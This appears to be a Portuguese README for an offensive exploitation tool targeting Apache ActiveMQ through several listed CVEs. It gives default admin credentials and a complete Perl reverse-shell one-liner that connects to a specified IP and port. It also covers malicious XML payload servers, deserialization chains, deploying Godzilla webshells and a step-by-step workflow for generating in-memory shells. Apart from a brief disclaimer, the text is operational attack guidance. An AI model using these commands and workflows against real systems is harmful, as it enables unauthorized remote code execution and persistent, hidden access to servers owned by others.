
Ferramenta abrangente de exploração de vulnerabilidades do Apache ActiveMQ (CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588)
Suporta detecção e exploração de vulnerabilidades do Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Esta ferramenta é destinada apenas para pesquisa de segurança e fins educacionais. O utilizador assume toda a responsabilidade legal e relacionada decorrente do uso desta ferramenta. Certifique-se de que as suas ações estão em conformidade com as leis e regulamentos locais. O autor não assume qualquer responsabilidade. Se não concordar, não utilize esta ferramenta.
Iniciar com jdk8, porta padrão Openwire 61616, por vezes o ambiente alvo pode não a ter aberta. Nome de utilizador e palavra-passe padrão do Apache ActiveMQ: admin:admin. O painel de configuração BeanXML pode gerar XML malicioso para executar comandos correspondentes. Se tiver problemas, sinta-se à vontade para abrir uma Issue.
Ao detetar vulnerabilidades, pode definir o endereço do servidor XML malicioso para dnslog; se receber um pedido, pode indicar a existência de CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588
O java-chains gera dados de desserialização; para verificar a vulnerabilidade, pode usar URLDNS
Ao obter uma shell reversa, é melhor usar perl; sh e bash podem não funcionar às vezes
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ao escrever um webshell personalizado, a escrita da shell do BingXie (IceScorpion) gera erro 500, enquanto a Godzilla funciona normalmente. Ao ligar a ferramenta, lembre-se de adicionar o cabeçalho de autenticação
A partir da versão 1.4, o módulo de geração de memória shell MemShellParty não está mais integrado, por um lado porque o ficheiro fatjar fica inchado, por outro lado porque o método de descodificação base64 necessário para o SpringBeanXmlClassLoader não é universal em diferentes versões do Java, o que obriga a ferramenta a reinventar a roda. Os utilizadores que precisam de memória shell podem consultar o seguinte fluxo para gerar XML:
Primeiro, no MemShellParty, gere a string base64 da memória shell correspondente https://party.mem.mk/ui

Depois vá ao java-chains, encontre Generate-OtherPayload, e selecione bytecode personalizado

Escolha o método de descodificação base64 de acordo com a versão do JDK; por predefinição é o método decodeFromString, enquanto o ambiente CVE-2026-34197 do vulhub precisa de selecionar java.util.Base64
Finalmente, insira a string Base64 da memória shell e clique em gerar

Para tipos Filter, Listener ou Servlet, ao endereço de ligação da memória shell é necessário adicionar o caminho /admin/, /api/, e o cabeçalho de autenticação; o handler não precisa de caminho nem cabeçalho de autenticação
Agradecimentos